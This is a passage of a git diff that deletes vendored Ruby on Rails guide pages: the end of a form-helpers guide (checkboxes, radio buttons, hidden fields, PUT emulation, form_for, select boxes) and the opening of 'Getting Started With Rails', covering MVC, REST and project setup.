-</div></div>
-<div class="para"><p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an <tt>expecting tASSOC</tt> syntax error.</td>
-</tr></table>
-</div>
-<h3 id="_checkboxes_radio_buttons_and_other_controls">1.3. Checkboxes, radio buttons and other controls</h3>
-<div class="para"><p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= check_box_tag(:pet_dog) %&gt;
-  &lt;%= label_tag(:pet_dog, "I own a dog") %&gt;
-&lt;%= check_box_tag(:pet_cat) %&gt;
-  &lt;%= label_tag(:pet_cat, "I own a cat") %&gt;
-
-output:
-
-&lt;input id="pet_dog" name="pet_dog" type="checkbox" value="1" /&gt;
-  &lt;label for="pet_dog"&gt;I own a dog&lt;/label&gt;
-&lt;input id="pet_cat" name="pet_cat" type="checkbox" value="1" /&gt;
-  &lt;label for="pet_cat"&gt;I own a cat&lt;/label&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= radio_button_tag(:age, "child") %&gt;
-  &lt;%= label_tag(:age_child, "I am younger than 21") %&gt;
-&lt;%= radio_button_tag(:age, "adult") %&gt;
-  &lt;%= label_tag(:age_adult, "I'm over 21") %&gt;
-
-output:
-
-&lt;input id="age_child" name="age" type="radio" value="child" /&gt;
-  &lt;label for="age_child"&gt;I am younger than 21&lt;/label&gt;
-&lt;input id="age_adult" name="age" type="radio" value="adult" /&gt;
-  &lt;label for="age_adult"&gt;I'm over 21&lt;/label&gt;</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/important.png" alt="Important" />
-</td>
-<td class="content">Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.</td>
-</tr></table>
-</div>
-<div class="para"><p>Other form controls we might mention are the text area, password input and hidden input:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= text_area_tag(:message, "Hi, nice site", :size =&gt; "24x6") %&gt;
-&lt;%= password_field_tag(:password) %&gt;
-&lt;%= hidden_field_tag(:parent_id, "5") %&gt;
-
-output:
-
-&lt;textarea id="message" name="message" cols="24" rows="6"&gt;Hi, nice site&lt;/textarea&gt;
-&lt;input id="password" name="password" type="password" /&gt;
-&lt;input id="parent_id" name="parent_id" type="hidden" value="5" /&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</td>
-</tr></table>
-</div>
-<h3 id="_how_do_forms_with_put_or_delete_methods_work">1.4. How do forms with PUT or DELETE methods work?</h3>
-<div class="para"><p>Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers <em>don't support</em> methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?</p></div>
-<div class="para"><p>Rails works around this issue by emulating other methods over POST with a hidden input named <tt>"_method"</tt> that is set to reflect the wanted method:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>form_tag(search_path, :method =&gt; "put")
-
-output:
-
-&lt;form action="/search" method="post"&gt;
-  &lt;div style="margin:0;padding:0"&gt;
-    &lt;input name="_method" type="hidden" value="put" /&gt;
-    &lt;input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /&gt;
-  &lt;/div&gt;
-  ...</tt></pre>
-</div></div>
-<div class="para"><p>When parsing POSTed data, Rails will take into account the special <tt>"_method"</tt> parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).</p></div>
-</div>
-<h2 id="_forms_that_deal_with_model_attributes">2. Forms that deal with model attributes</h2>
-<div class="sectionbody">
-<div class="para"><p>When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:</p></div>
-<div class="listingblock">
-<div class="title">Example: articles_controller.rb</div>
-<div class="content">
-<pre><tt>def new
-  @article = Article.new
-end</tt></pre>
-</div></div>
-<div class="para"><p>Now we switch to the view. The first thing to remember is that we should use <tt>form_for</tt> helper instead of <tt>form_tag</tt>, and that we should pass the model name and object as arguments:</p></div>
-<div class="listingblock">
-<div class="title">Example: articles/new.html.erb</div>
-<div class="content">
-<pre><tt>&lt;% form_for :article, @article, :url =&gt; { :action =&gt; "create" } do |f| %&gt;
-  &lt;%= f.text_field :title %&gt;
-  &lt;%= f.text_area :body, :size =&gt; "60x12" %&gt;
-  &lt;%= submit_tag "Create" %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="para"><p>There are a few things to note here:</p></div>
-<div class="olist"><ol>
-<li>
-<p>
-<tt>:article</tt> is the name of the model and <tt>@article</tt> is our record.
-</p>
-</li>
-<li>
-<p>
-The URL for the action attribute is passed as a parameter named <tt>:url</tt>.
-</p>
-</li>
-<li>
-<p>
-The <tt>form_for</tt> method yields <strong>a form builder</strong> object (the <tt>f</tt> variable).
-</p>
-</li>
-<li>
-<p>
-Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt> and <strong>without</strong> the <tt>"_tag"</tt> suffix (so <tt>text_field_tag</tt> becomes <tt>f.text_field</tt>).
-</p>
-</li>
-</ol></div>
-<div class="para"><p>The resulting HTML is:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;form action="/articles/create" method="post"&gt;
-  &lt;input id="article_title" name="article[title]" size="30" type="text" /&gt;
-  &lt;textarea id="article_body" name="article[body]" cols="60" rows="12"&gt;&lt;/textarea&gt;
-  &lt;input name="commit" type="submit" value="Create" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="para"><p>A nice thing about <tt>f.text_field</tt> and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>@article = Article.new(:title =&gt; "Rails makes forms easy")</tt></pre>
-</div></div>
-<div class="para"><p>&#8230; the corresponding input will be rendered with a value:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" /&gt;</tt></pre>
-</div></div>
-<h3 id="_relying_on_record_identification">2.1. Relying on record identification</h3>
-<div class="para"><p>In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it <strong>a resource</strong>.</p></div>
-<div class="para"><p>When dealing with RESTful resources, our calls to <tt>form_for</tt> can get significantly easier if we rely on <strong>record identification</strong>. In short, we can just pass the model instance and have Rails figure out model name and the rest:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>## Creating a new article
-# long-style:
-form_for(:article, @article, :url =&gt; articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(:article, @article, :url =&gt; article_path(@article), :method =&gt; "put")
-# short-style:
-form_for(@article)</tt></pre>
-</div></div>
-<div class="para"><p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt> and <tt>:method</tt> explicitly.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_making_select_boxes_with_ease">3. Making select boxes with ease</h2>
-<div class="sectionbody">
-<div class="para"><p>Select boxes in HTML require a significant amount of markup (one <tt>OPTION</tt> element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.</p></div>
-<div class="para"><p>Here is what our wanted markup might look like:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;select name="city_id" id="city_id"&gt;
-  &lt;option value="1"&gt;Lisabon&lt;/option&gt;
-  &lt;option value="2"&gt;Madrid&lt;/option&gt;
-  ...
-  &lt;option value="12"&gt;Berlin&lt;/option&gt;
-&lt;/select&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.</p></div>
-<h3 id="_the_select_tag_and_options">3.1. The select tag and options</h3>
-<div class="para"><p>The most generic helper is <tt>select_tag</tt>, which &#8212; as the name implies &#8212; simply generates the <tt>SELECT</tt> tag that encapsulates the options:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= select_tag(:city_id, '&lt;option value="1"&gt;Lisabon&lt;/option&gt;...') %&gt;</tt></pre>
-</div></div>
-<div class="para"><p>This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.</p></div>
-<div class="para"><p>We can generate option tags with the <tt>options_for_select</tt> helper:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %&gt;
-
-output:
-
-&lt;option value="1"&gt;Lisabon&lt;/option&gt;
-&lt;option value="2"&gt;Madrid&lt;/option&gt;
-...</tt></pre>
-</div></div>
-<div class="para"><p>For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).</p></div>
-<div class="para"><p>Now you can combine <tt>select_tag</tt> and <tt>options_for_select</tt> to achieve the desired, complete markup:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= select_tag(:city_id, options_for_select(...)) %&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The <tt>options_for_select</tt> helper supports this with an optional second argument:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= options_for_select(cities_array, 2) %&gt;
-
-output:
-
-&lt;option value="1"&gt;Lisabon&lt;/option&gt;
-&lt;option value="2" selected="selected"&gt;Madrid&lt;/option&gt;
-...</tt></pre>
-</div></div>
-<div class="para"><p>So whenever Rails sees that the internal value of an option being generated matches this value, it will add the <tt>selected</tt> attribute to that option.</p></div>
-<h3 id="_select_boxes_for_dealing_with_models">3.2. Select boxes for dealing with models</h3>
-<div class="para"><p>Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a <tt>city_id</tt> attribute.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>...</tt></pre>
-</div></div>
-<div class="para"><p>&#8230;</p></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html b/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html
deleted file mode 100644
index 5111d0c6..00000000
--- a/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html
+++ /dev/null
@@ -1,2066 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Getting Started With Rails</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_this_guide_assumes">This Guide Assumes</a>
-					</li>
-					<li>
-					<a href="#_what_is_rails">What is Rails?</a>
-						<ul>
-						
-							<li><a href="#_the_mvc_architecture">The MVC Architecture</a></li>
-						
-							<li><a href="#_the_components_of_rails">The Components of Rails</a></li>
-						
-							<li><a href="#_rest">REST</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_creating_a_new_rails_project">Creating a New Rails Project</a>
-						<ul>
-						
-							<li><a href="#_installing_rails">Installing Rails</a></li>
-						
-							<li><a href="#_creating_the_blog_application">Creating the Blog Application</a></li>
-						
-							<li><a href="#_configuring_a_database">Configuring a Database</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_hello_rails">Hello, Rails!</a>
-						<ul>
-						
-							<li><a href="#_starting_up_the_web_server">Starting up the Web Server</a></li>
-						
-							<li><a href="#_setting_the_application_home_page">Setting the Application Home Page</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_getting_up_and_running_quickly_with_scaffolding">Getting Up and Running Quickly With Scaffolding</a>
-					</li>
-					<li>
-					<a href="#_creating_a_resource">Creating a Resource</a>
-						<ul>
-						
-							<li><a href="#_running_a_migration">Running a Migration</a></li>
-						
-							<li><a href="#_adding_a_link">Adding a Link</a></li>
-						
-							<li><a href="#_working_with_posts_in_the_browser">Working with Posts in the Browser</a></li>
-						
-							<li><a href="#_the_model">The Model</a></li>
-						
-							<li><a href="#_adding_some_validation">Adding Some Validation</a></li>
-						
-							<li><a href="#_using_the_console">Using the Console</a></li>
-						
-							<li><a href="#_listing_all_posts">Listing All Posts</a></li>
-						
-							<li><a href="#_customizing_the_layout">Customizing the Layout</a></li>
-						
-							<li><a href="#_creating_new_posts">Creating New Posts</a></li>
-						
-							<li><a href="#_showing_an_individual_post">Showing an Individual Post</a></li>
-						
-							<li><a href="#_editing_posts">Editing Posts</a></li>
-						
-							<li><a href="#_destroying_a_post">Destroying a Post</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_drying_up_the_code">DRYing up the Code</a>
-						<ul>
-						
-							<li><a href="#_using_partials_to_eliminate_view_duplication">Using Partials to Eliminate View Duplication</a></li>
-						
-							<li><a href="#_using_filters_to_eliminate_controller_duplication">Using Filters to Eliminate Controller Duplication</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_adding_a_second_model">Adding a Second Model</a>
-						<ul>
-						
-							<li><a href="#_generating_a_model">Generating a Model</a></li>
-						
-							<li><a href="#_associating_models">Associating Models</a></li>
-						
-							<li><a href="#_adding_a_route">Adding a Route</a></li>
-						
-							<li><a href="#_generating_a_controller">Generating a Controller</a></li>
-						
-							<li><a href="#_building_views">Building Views</a></li>
-						
-							<li><a href="#_hooking_comments_to_posts">Hooking Comments to Posts</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_what_s_next">What's Next?</a>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Getting Started With Rails</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers getting up and running with Ruby on Rails.  After reading it, you should be familiar with:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Installing Rails, creating a new Rails application, and connecting your application to a database
-</p>
-</li>
-<li>
-<p>
-The general layout of a Rails application
-</p>
-</li>
-<li>
-<p>
-The basic principles of MVC (Model, View Controller) and RESTful design
-</p>
-</li>
-<li>
-<p>
-How to quickly generate the starting pieces of a Rails application.
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_this_guide_assumes">1. This Guide Assumes</h2>
-<div class="sectionbody">
-<div class="para"><p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The <a href="http://www.ruby-lang.org/en/downloads/">Ruby</a> language
-</p>
-</li>
-<li>
-<p>
-The <a href="http://rubyforge.org/frs/?group_id=126">RubyGems</a> packaging system
-</p>
-</li>
-<li>
-<p>
-A working installation of <a href="http://www.sqlite.org/">SQLite</a> (preferred), <a href="http://www.mysql.com/">MySQL</a>, or <a href="http://www.postgresql.org/">PostgreSQL</a>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>It is highly recommended that you <strong>familiarize yourself with Ruby before diving into Rails</strong>. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://www.humblelittlerubybook.com/">Mr. Neigborly’s Humble Little Ruby Book</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.rubycentral.com/book/">Programming Ruby</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://poignantguide.net/ruby/">Why's (Poignant) Guide to Ruby</a>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_what_is_rails">2. What is Rails?</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.</p></div>
-<div class="para"><p>Rails is <em>opinionated software</em>. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p></div>
-<div class="para"><p>The Rails philosophy includes several guiding principles:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-</p>
-</li>
-<li>
-<p>
-Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
-</p>
-</li>
-<li>
-<p>
-REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
-</p>
-</li>
-</ul></div>
-<h3 id="_the_mvc_architecture">2.1. The MVC Architecture</h3>
-<div class="para"><p>Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Isolation of business logic from the user interface
-</p>
-</li>
-<li>
-<p>
-Ease of keeping code DRY
-</p>
-</li>
-<li>
-<p>
-Making it clear where different types of code belong for easier maintenance
-</p>
-</li>
-</ul></div>
-<h4 id="_models">2.1.1. Models</h4>
-<div class="para"><p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.</p></div>
-<h4 id="_views">2.1.2. Views</h4>
-<div class="para"><p>Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p></div>
-<h4 id="_controllers">2.1.3. Controllers</h4>
-<div class="para"><p>Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p></div>
-<h3 id="_the_components_of_rails">2.2. The Components of Rails</h3>
-<div class="para"><p>Rails provides a full stack of components for creating web applications, including:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Action Controller
-</p>
-</li>
-<li>
-<p>
-Action View
-</p>
-</li>
-<li>
-<p>
-Active Record
-</p>
-</li>
-<li>
-<p>
-Action Mailer
-</p>
-</li>
-<li>
-<p>
-Active Resource
-</p>
-</li>
-<li>
-<p>
-Railties
-</p>
-</li>
-<li>
-<p>
-Active Support
-</p>
-</li>
-</ul></div>
-<h4 id="_action_controller">2.2.1. Action Controller</h4>
-<div class="para"><p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p></div>
-<h4 id="_action_view">2.2.2. Action View</h4>
-<div class="para"><p>Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.</p></div>
-<h4 id="_active_record">2.2.3. Active Record</h4>
-<div class="para"><p>Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p></div>
-<h4 id="_action_mailer">2.2.4. Action Mailer</h4>
-<div class="para"><p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.</p></div>
-<h4 id="_active_resource">2.2.5. Active Resource</h4>
-<div class="para"><p>Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.</p></div>
-<h4 id="_railties">2.2.6. Railties</h4>
-<div class="para"><p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.</p></div>
-<h4 id="_active_support">2.2.7. Active Support</h4>
-<div class="para"><p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p></div>
-<h3 id="_rest">2.3. REST</h3>
-<div class="para"><p>The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-</p>
-</li>
-<li>
-<p>
-Transferring representations of the state of that resource between system components.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
-<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
-<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
-<div class="para"><p>If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://www.infoq.com/articles/rest-introduction">A Brief Introduction to REST</a> by Stefan Tilkov
-</p>
-</li>
-<li>
-<p>
-<a href="http://bitworking.org/news/373/An-Introduction-to-REST">An Introduction to REST</a> (video tutorial) by Joe Gregorio
-</p>
-</li>
-<li>
-<p>
-<a href="http://en.wikipedia.org/wiki/Representational_State_Transfer">Representational State Transfer</a> article in Wikipedia
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_creating_a_new_rails_project">3. Creating a New Rails Project</h2>
-<div class="sectionbody">
-<div class="para"><p>If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p></div>
-<h3 id="_installing_rails">3.1. Installing Rails</h3>
-<div class="para"><p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ gem install rails
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">There are some special circumstances in which you might want to use an alternate installation strategy:</td>
-</tr></table>
-</div>
-<div class="ilist"><ul>
-<li>
-<p>
-If you're working on Windows, you may find it easier to install <a href="http://instantrails.rubyforge.org/wiki/wiki.pl">Instant Rails</a>. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
-</p>
-</li>
-<li>
-<p>
-If you want to keep up with cutting-edge changes to Rails, you'll want to clone the <a href="http://github.com/rails/rails/tree/master">Rails source code</a> from github. This is not recommended as an option for beginners, though.
-</p>
-</li>
-</ul></div>
-<h3 id="_creating_the_blog_application">3.2. Creating the Blog Application</h3>
-<div class="para"><p>Open a terminal, navigate to a folder where you have rights to create files, and type:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog
-</tt></pre></div></div>
-<div class="para"><p>This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog -d mysql
-</tt></pre></div></div>
-<div class="para"><p>And if you're using PostgreSQL for data storage, run this command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog -d postgresql
-</tt></pre></div></div>
-<div class="para"><p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="137" />
-<col width="1440" />
-<thead>
-  <tr>
-    <th align="left">
-    File/Folder
-    </th>
-    <th align="left">
-    Purpose
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    <tt>README</tt>
-    </td>
-    <td align="left">
-    This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>Rakefile</tt>
-    </td>
-    <td align="left">
